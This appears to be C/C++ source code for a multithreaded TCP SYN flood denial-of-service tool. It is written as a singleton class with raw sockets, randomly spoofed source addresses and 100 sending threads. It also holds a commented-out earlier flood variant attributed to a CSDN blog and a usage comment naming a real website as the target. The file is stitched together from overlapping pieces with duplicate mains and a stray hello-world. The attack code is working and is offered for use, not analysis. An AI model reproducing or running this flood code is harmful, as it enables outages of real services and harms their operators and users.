DDOS 单例

#pragma once
//g++ ../../../Main.cpp ../../../DDOS.cpp -lpthread
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h> 
#include <arpa/inet.h>
#include <pthread.h>
// -lpthread

// ./a.out www.baidu.com 80
struct ip
{
    unsigned char       hl;
    unsigned char       tos;
    unsigned short      total_len;
    unsigned short      id;
    unsigned short      frag_and_flags;
    unsigned char       ttl;
    unsigned char       proto;
    unsigned short      checksum;
    unsigned int        sourceIP;
    unsigned int        destIP;
};

struct tcphdr
{
    unsigned short      sport;
    unsigned short      dport;
    unsigned int        seq;
    unsigned int        ack;
    unsigned char       lenres;
    unsigned char       flag;
    unsigned short      win;
    unsigned short      sum;
    unsigned short      urp;
};

struct pseudohdr
{
    unsigned int        saddr;
    unsigned int         daddr;
    char                zero;
    char                protocol;
    unsigned short      length;
};



class DOS
{
    int m_socket = 0;
    int m_alive = 1;
    char m_dest_IP[64] = { 0 };
    int m_dest_Port = -1;
    struct hostent *m_hostent = NULL;
    struct sockaddr_in m_addr;
    int m_threadNum = 0;
    pthread_t *m_thread = NULL;
    int m_sendPackageNum = 0;
public:
    static DOS *getInstance();
    void initDos(const char *IP = NULL, const int Port = 80);
    void initDos(const char *IP = NULL, const char *Port = "80");
    void init_header(struct ip *ip, struct tcphdr *tcp, struct pseudohdr *pseudoheader);
    void judge_argc(int argc);
    static void sig_int(int alive);
    void createSocket();
    int setPower();
    void run();
    void setThread(int thread);
    static void *sendFlood(void *addr);
    void joinThread();
    int closeSocket();
    unsigned short inline checksum(unsigned short *buffer, unsigned short size);
private:
    DOS();
    ~DOS();
};

#define FLOOD DOS::getInstance()

#include "DDOS.h"


DOS::DOS()
{
    this->m_threadNum = 100;
    this->m_thread = new pthread_t[this->m_threadNum];
    bzero(this->m_thread, this->m_threadNum * sizeof(pthread_t));
}
DOS::~DOS()
{
    if (this->m_thread)
    {
        delete[] this->m_thread;
        this->m_thread = NULL;
    }
}

int DOS::closeSocket()
{
    return close(this->m_socket);
}

// 信号处理函数,设置退出变量alive
void DOS::sig_int(int alive)
{
    //ctrl + c
    DOS::getInstance()->m_alive = 0;
}

DOS *DOS::getInstance()
{
    static DOS dos;
    return &dos;
}

void DOS::judge_argc(int argc)
{
    if (argc < 3)
    {
        printf("usage: syn ==== <IPaddress>===== <Port>\n");
        exit(1);
    }
}

void DOS::initDos(const char *IP, const int Port)
{
    if (IP == NULL)
    {
        printf("please input IP");
        return;
    }
    if (Port < 0 || Port >= 65535)
    {
        printf("Port error\n");
        return;
    }
    strncpy(this->m_dest_IP, IP, strlen(IP));
    this->m_dest_Port = Port;

    bzero(&this->m_addr, sizeof(this->m_addr));

    this->m_addr.sin_family = AF_INET;
    this->m_addr.sin_port = htons(this->m_dest_Port);


    if (inet_addr(this->m_dest_IP) == INADDR_NONE)
    {
        // 为DNS地址，查询并转换成IP地址
        this->m_hostent = gethostbyname(this->m_dest_IP);
        if (this->m_hostent == NULL)
        {
            perror("gethostbyname() \n");
            exit(1);
        }
        this->m_addr.sin_addr = *((struct in_addr*)(this->m_hostent->h_addr));
        strncpy(this->m_dest_IP, inet_ntoa(this->m_addr.sin_addr), 16);
    }
    else
    {
        this->m_addr.sin_addr.s_addr = inet_addr(this->m_dest_IP);
    }

    signal(SIGINT, FLOOD->sig_int);

    FLOOD->createSocket();
    FLOOD->setPower();


    printf("init Dos\n");
    printf("dest ip %s\n", this->m_dest_IP);
    printf("dest port %d\n", this->m_dest_Port);
}

void DOS::initDos(const char *IP, const char *Port)
{
    if (IP == NULL || Port == NULL)
    {
        printf("please input IP");
        return;
    }
    if (atoi(Port) < 0 || atoi(Port) >= 65535)
    {
        printf("Port error\n");
        return;
    }
    strncpy(this->m_dest_IP, IP, strlen(IP));
    this->m_dest_Port = atoi(Port);

    bzero(&this->m_addr, sizeof(this->m_addr));

    this->m_addr.sin_family = AF_INET;
    this->m_addr.sin_port = htons(this->m_dest_Port);


    if (inet_addr(this->m_dest_IP) == INADDR_NONE)
    {
        // 为DNS地址，查询并转换成IP地址
        this->m_hostent = gethostbyname(this->m_dest_IP);
        if (this->m_hostent == NULL)
        {
            perror("gethostbyname() \n");
            exit(1);
        }
        this->m_addr.sin_addr = *((struct in_addr*)(this->m_hostent->h_addr));
        strncpy(this->m_dest_IP, inet_ntoa(this->m_addr.sin_addr), 16);
    }
    else
    {
        this->m_addr.sin_addr.s_addr = inet_addr(this->m_dest_IP);
    }

    signal(SIGINT, FLOOD->sig_int);

    FLOOD->createSocket();
    FLOOD->setPower();


    printf("init Dos\n");
    printf("dest ip %s\n", this->m_dest_IP);
    printf("dest port %d\n", this->m_dest_Port);
}

void DOS::init_header(struct ip *ip, struct tcphdr *tcp, struct pseudohdr *pseudoheader)
{
    int len = sizeof(struct ip) + sizeof(struct tcphdr);
    // IP头部数据初始化
    ip->hl = (4 << 4 | sizeof(struct ip) / sizeof(unsigned int));
    ip->tos = 0;
    ip->total_len = htons(len);
    ip->id = 1;
    ip->frag_and_flags = 0x40;
    ip->ttl = 255;
    ip->proto = IPPROTO_TCP;
    ip->checksum = 0;
    ip->sourceIP = 0;
    ip->destIP = inet_addr(this->m_dest_IP);

    // TCP头部数据初始化
    tcp->sport = htons(rand() % 16383 + 49152);
    tcp->dport = htons(this->m_dest_Port);
    tcp->seq = htonl(rand() % 90000000 + 2345);
    tcp->ack = 0;
    tcp->lenres = (sizeof(struct tcphdr) / 4 << 4 | 0);
    tcp->flag = 0x02;
    tcp->win = htons(2048);
    tcp->sum = 0;
    tcp->urp = 0;

    //TCP伪头部
    pseudoheader->zero = 0;
    pseudoheader->protocol = IPPROTO_TCP;
    pseudoheader->length = htons(sizeof(struct tcphdr));
    pseudoheader->daddr = inet_addr(this->m_dest_IP);
    srand((unsigned)time(NULL));
}

unsigned short inline DOS::checksum(unsigned short *buffer, unsigned short size)
{
    unsigned long cksum = 0;
    while (size > 1)
    {
        cksum += *buffer++;
        size -= sizeof(unsigned short);
    }
    if (size)
    {
        cksum += *(unsigned char *)buffer;
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >> 16);
    return((unsigned short)(~cksum));
}

void DOS::createSocket()
{
    // 建立原始socket 
    //IPPROTO_RAW
    //sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    this->m_socket = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    if (this->m_socket < 0)
    {
        perror("socket() \n");
        exit(1);
    }
    int on = 1;
    // 设置IP选项 
    if (setsockopt(this->m_socket, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
    {
        perror("setsockopt() \n");
        exit(1);
    }
}

int DOS::setPower()
{
    return setuid(getpid());
}

void DOS::setThread(int thread)
{
    this->m_threadNum = thread;
}

void *DOS::sendFlood(void *addr)
{
    char buf[100], sendbuf[100];
    int len;
    struct ip ip;            //IP头部
    struct tcphdr tcp;        //TCP头部
    struct pseudohdr pseudoheader;    //TCP伪头部

    len = sizeof(struct ip) + sizeof(struct tcphdr);

    /* 初始化头部信息 */
    FLOOD->init_header(&ip, &tcp, &pseudoheader);

    /* 处于活动状态时持续发送SYN包 */
    while (FLOOD->m_alive)
    {
        FLOOD->m_sendPackageNum++;
        ip.sourceIP = rand();
        //计算IP校验和
        bzero(buf, sizeof(buf));
        memcpy(buf, &ip, sizeof(struct ip));
        ip.checksum = FLOOD->checksum((u_short *)buf, sizeof(struct ip));
        pseudoheader.saddr = ip.sourceIP;
        //计算TCP校验和
        bzero(buf, sizeof(buf));
        memcpy(buf, &pseudoheader, sizeof(pseudoheader));
        memcpy(buf + sizeof(pseudoheader), &tcp, sizeof(struct tcphdr));
        tcp.sum = FLOOD->checksum((u_short *)buf, sizeof(pseudoheader) + sizeof(struct tcphdr));

        bzero(sendbuf, sizeof(sendbuf));
        memcpy(sendbuf, &ip, sizeof(struct ip));
        memcpy(sendbuf + sizeof(struct ip), &tcp, sizeof(struct tcphdr));
        int sendLen = sendto(FLOOD->m_socket, sendbuf, len, 0, (struct sockaddr *) addr, sizeof(struct sockaddr));
        if (sendLen < 0)
        {
            perror("sendto() \n");
            pthread_exit(NULL);
        }
        printf("%s", "\033[1H\033[2J");
        printf("Send Package Number = %d \n", FLOOD->m_sendPackageNum);
    }
}

void DOS::joinThread()
{
    int error = -1;
    for (int i = 0; i < this->m_threadNum; i++)
    {
        error = pthread_join(this->m_thread[i], NULL);
        if (error != 0)
        {
            perror("pthread_join Error \n");
            exit(1);
        }
    }
}

void DOS::run()
{
    int error = -1;
    for (int i = 0; i < this->m_threadNum; i++)
    {
        error = pthread_create(&this->m_thread[i], NULL, FLOOD->sendFlood, &this->m_addr);
        if (error != 0)
        {
            perror("pthread_create() \n");
            exit(1);
        }
    }
}

/*#include <iostream>
#define Main main




int Main(int argc,char **argv)
{

    for (int i = 0; i < 10; i++)
    {
        std::cout << "中文 " << std::endl;
        std::cout << "Hello World!" << std::endl;
    }



    return 0;
}
*/

/******************************************************************************
             Copyright (C), 2018-2019,  xxx Co.xxx, Ltd.
 ******************************************************************************
    File Name     : Dos_tcp.c
    Version       : V1.0
    Author        : lijd
    Created       : 2018/12/07
    Description   : tcp方式Dos攻击编码实现
    History       :
******************************************************************************/
/*#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <arpa/inet.h>
#include <pthread.h>

#define MAXCHILD            128
#define PROTO_NAME             "tcp"
#define FAKE_IP             "192.168.0.222"

static unsigned long dest = 0;
static unsigned short dest_port = 0;
static int PROTO_TCP = -1;
static int alive = -1;
int rawsock = 0;

typedef struct dosseg_t {
    struct ip iph;
    struct tcphdr tcph;
    unsigned char data[8192];
}DOSSEG_T;

//数据包校验
static unsigned short Dos_cksum(unsigned short *data, int length)
{
    register int left = length;
    register unsigned short *word = data;
    register int sum = 0;
    unsigned short ret = 0;

    while (left > 1)
    {
        sum += *word++;
        left -= 2;
    }

    if (left == 1)
    {
        *(unsigned char *)(&ret) = *(unsigned char *)word;
        sum += ret;
    }

    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);

    ret = ~sum;
    return (ret);
}

//随机生成攻击请求源端口
static inline long myrandom(int begin, int end)
{
    int gap = end - begin + 1;
    int ret = 0;

    srand((unsigned)time(0));

    ret = random() % gap + begin;
    return ret;
}

static void Dos_sig(int null)
{
    alive = 0;
    printf("stop DoS Attack!\n");
}

//构造tcp的请求syn包
void DoS_tcp_pack(char* packet)
{
    char *buffer;

    struct ip* ip_hdr = (struct ip*)packet;
    struct tcphdr* tcp_hdr = (struct tcphdr*)(packet + sizeof(struct ip));

    //ip头赋值
    ip_hdr->ip_v = 4;
    ip_hdr->ip_hl = 5;
    ip_hdr->ip_tos = 0;
    ip_hdr->ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr));
    ip_hdr->ip_id = htons(getpid());
    ip_hdr->ip_off = 0;
    ip_hdr->ip_ttl = 64;
    ip_hdr->ip_p = PROTO_TCP;
    ip_hdr->ip_sum = 0;
    ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);        //伪装源地址
    ip_hdr->ip_dst.s_addr = dest;                     //攻击的目的主机地址
    ip_hdr->ip_sum = Dos_cksum((unsigned short *)ip_hdr, (4 * ip_hdr->ip_hl + sizeof(struct tcphdr) + 1) & ~1);

    //tcp赋值
    tcp_hdr->seq = htonl((unsigned long)myrandom(0, 65535));
    tcp_hdr->ack_seq = htons(myrandom(0, 65535));
    tcp_hdr->syn = 1;
    tcp_hdr->urg = 1;
    tcp_hdr->window = htons(myrandom(0, 65535));
    tcp_hdr->check = 0;
    tcp_hdr->urg_ptr = htons(myrandom(0, 65535));
    tcp_hdr->check = Dos_cksum((unsigned short *)tcp_hdr, (sizeof(struct ip) + sizeof(struct tcphdr) + 1) & ~1);
}

void *Dos_Attack(void *null)
{
    DOSSEG_T packet;
    struct sockaddr_in to;
    DoS_tcp_pack((char *)&packet);

    to.sin_family = AF_INET;
    to.sin_addr.s_addr = dest;
    to.sin_port = htons(0);

    while (alive)  //控制发包的全局变量
    {
        sendto(rawsock,
            &packet,
            4 * packet.iph.ip_hl + sizeof(struct tcphdr),
            0,
            (struct sockaddr*)&to,
            sizeof(struct sockaddr));
    }
}

int main(int argc, char* argv[])
{
    struct hostent* host = NULL;
    struct protoent* protocol = NULL;
    int i = 0, err = -1;
    pthread_t attack_thread[MAXCHILD];

    ///* 创建停止信号接收函数
    alive = 1;
    signal(SIGINT, Dos_sig);

    if (argc < 3)
    {
        printf("-------------Invalid input---------------!\n");
        return -1;
    }

    protocol = getprotobyname(PROTO_NAME);
    if (protocol == NULL)
    {
        printf("Fail to getprotobyname!\n");
        return -1;
    }

    PROTO_TCP = protocol->p_proto;

    //参数1：攻击目的IP   参数2：攻击的目的Port
    dest = inet_addr(argv[1]);
    dest_port = atoi(argv[2]);

    if (dest == INADDR_NONE)
    {
        host = gethostbyname(argv[1]);
        if (host == NULL)
        {
            printf("Invalid IP or Domain name!\n");
            return -1;
        }

        memcpy((char *)&dest, host->h_addr, host->h_length);
    }

    //创建原始套接字
    rawsock = socket(AF_INET, SOCK_RAW, PROTO_TCP);

    if (rawsock < 0)
    {
        printf("Fait to create socket!\n");
        return -1;
    }

    //设置IP选项
    setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL, "1", sizeof("1"));

    printf("ICMP FLOOD ATTACK START\n");

    for (i = 0; i < MAXCHILD; i++)
    {
        err = pthread_create(&(attack_thread[i]), NULL, Dos_Attack, NULL);
        if (err)
        {
            printf("Fail to create thread, err %d, thread id : %d\n", err, attack_thread[i]);
        }
    }

    for (i = 0; i < MAXCHILD; i++)
    {
        pthread_join(attack_thread[i], NULL);
        //等待线程结束
    }

    printf("ICMP ATTACK FINISHI!\n");
    close(rawsock);

    return 0;
}*/
//-------------------- -
//作者：码农诗人
//来源：CSDN
//原文：https ://blog.csdn.net/ddazz0621/article/details/84870186 
//版权声明：本文为博主原创文章，转载请附上博文链接！





/*
    README
    部分需要库
    //在windows上生成会失败
*/


#include "DDOS.h"


#define MAXCHILD 128
/* 原始套接字 */
int sockfd;
/* 程序活动标志 */
static int alive = -1;
char dst_ip[20] = { 0 };
int dst_port;

/* CRC16校验 */
unsigned short inline checksum(unsigned short *buffer, unsigned short size)
{
    unsigned long cksum = 0;
    while (size > 1)
    {
        cksum += *buffer++;
        size -= sizeof(unsigned short);
    }
    if (size)
    {
        cksum += *(unsigned char *)buffer;
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >> 16);
    return((unsigned short)(~cksum));
}

/* 发送SYN包函数
 * 填写IP头部，TCP头部
 * TCP伪头部仅用于校验和的计算
 */
void init_header(struct ip *ip, struct tcphdr *tcp, struct pseudohdr *pseudoheader)
{
    int len = sizeof(struct ip) + sizeof(struct tcphdr);
    // IP头部数据初始化
    ip->hl = (4 << 4 | sizeof(struct ip) / sizeof(unsigned int));
    ip->tos = 0;
    ip->total_len = htons(len);
    ip->id = 1;
    ip->frag_and_flags = 0x40;
    ip->ttl = 255;
    ip->proto = IPPROTO_TCP;
    ip->checksum = 0;
    ip->sourceIP = 0;
    ip->destIP = inet_addr(dst_ip);

    // TCP头部数据初始化
    tcp->sport = htons(rand() % 16383 + 49152);
    tcp->dport = htons(dst_port);
    tcp->seq = htonl(rand() % 90000000 + 2345);
    tcp->ack = 0;
    tcp->lenres = (sizeof(struct tcphdr) / 4 << 4 | 0);
    tcp->flag = 0x02;
    tcp->win = htons(2048);
    tcp->sum = 0;
    tcp->urp = 0;

    //TCP伪头部
    pseudoheader->zero = 0;
    pseudoheader->protocol = IPPROTO_TCP;
    pseudoheader->length = htons(sizeof(struct tcphdr));
    pseudoheader->daddr = inet_addr(dst_ip);
    srand((unsigned)time(NULL));
}

/* 发送SYN包函数
 * 填写IP头部，TCP头部
 * TCP伪头部仅用于校验和的计算
 */

void *send_synflood(void *addr)
{
    char buf[100], sendbuf[100];
    int len;
    struct ip ip;            //IP头部
    struct tcphdr tcp;        //TCP头部
    struct pseudohdr pseudoheader;    //TCP伪头部

    len = sizeof(struct ip) + sizeof(struct tcphdr);

    /* 初始化头部信息 */
    init_header(&ip, &tcp, &pseudoheader);

    /* 处于活动状态时持续发送SYN包 */
    while (alive)
    {
        ip.sourceIP = rand();
        //计算IP校验和
        bzero(buf, sizeof(buf));
        memcpy(buf, &ip, sizeof(struct ip));
        ip.checksum = checksum((u_short *)buf, sizeof(struct ip));
        pseudoheader.saddr = ip.sourceIP;
        //计算TCP校验和
        bzero(buf, sizeof(buf));
        memcpy(buf, &pseudoheader, sizeof(pseudoheader));
        memcpy(buf + sizeof(pseudoheader), &tcp, sizeof(struct tcphdr));
        tcp.sum = checksum((u_short *)buf, sizeof(pseudoheader) + sizeof(struct tcphdr));

        bzero(sendbuf, sizeof(sendbuf));
        memcpy(sendbuf, &ip, sizeof(struct ip));
        memcpy(sendbuf + sizeof(struct ip), &tcp, sizeof(struct tcphdr));
        int sendLen = sendto(sockfd, sendbuf, len, 0, (struct sockaddr *) addr, sizeof(struct sockaddr));
        //printf("sendLen %d \n", sendLen);
        if (sendLen < 0)
        {
            perror("sendto()");
            pthread_exit(NULL);
        }
        //sleep(1);
    }
}

/* 信号处理函数,设置退出变量alive */
void sig_int(int signo)
{
    alive = 0;
}

/* 主函数 */
int main(int argc, char *argv[])
{
    FLOOD->judge_argc(argc);

    FLOOD->initDos(argv[1], argv[2]);
    FLOOD->run();


    FLOOD->joinThread();

    //struct sockaddr_in addr;
    //struct hostent * host = NULL;
    //int on = 1;
    //int i = 0;
    //pthread_t pthread[MAXCHILD];
    //int err = -1;
    //alive = 1;
    ///* 截取信号CTRL+C */
    //signal(SIGINT, sig_int);


    //strncpy(dst_ip, argv[1], 16);
    //dst_port = atoi(argv[2]);
    //bzero(&addr, sizeof(addr));
    //addr.sin_family = AF_INET;
    //addr.sin_port = htons(dst_port);

    //if (inet_addr(dst_ip) == INADDR_NONE)
    //{
    //    /* 为DNS地址，查询并转换成IP地址 */
    //    host = gethostbyname(argv[1]);
    //    if (host == NULL)
    //    {
    //        perror("gethostbyname()");
    //        exit(1);
    //    }
    //    addr.sin_addr = *((struct in_addr*)(host->h_addr));
    //    strncpy(dst_ip, inet_ntoa(addr.sin_addr), 16);
    //}
    //else
    //{
    //    addr.sin_addr.s_addr = inet_addr(dst_ip);
    //}

    //if (dst_port < 0 || dst_port > 65535)
    //{
    //    printf("Port Error\n");
    //    exit(1);
    //}
    //printf("host ip=%s\n", inet_ntoa(addr.sin_addr));

    ///* 建立原始socket */
    ////IPPROTO_RAW
    ////sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    //sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    //if (sockfd < 0)
    //{
    //    perror("socket()");
    //    exit(1);
    //}

    ///* 设置IP选项 */
    //if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
    //{
    //    perror("setsockopt()");
    //    exit(1);
    //}

    ///* 将程序的权限修改为普通用户 */
    //setuid(getpid());
    ///* 建立多个线程协同工作 */
    //for (i = 0; i < MAXCHILD; i++)
    //{
    //    err = pthread_create(&pthread[i], NULL, send_synflood, &addr);
    //    if (err != 0)
    //    {
    //        perror("pthread_create()");
    //        exit(1);
    //    }
    //}

    ///* 等待线程结束 */
    //for (i = 0; i < MAXCHILD; i++)
    //{
    //    err = pthread_join(pthread[i], NULL);
    //    if (err != 0)
    //    {
    //        perror("pthread_join Error\n");
    //        exit(1);
    //    }
    //}
    //close(sockfd);
    return 0;
}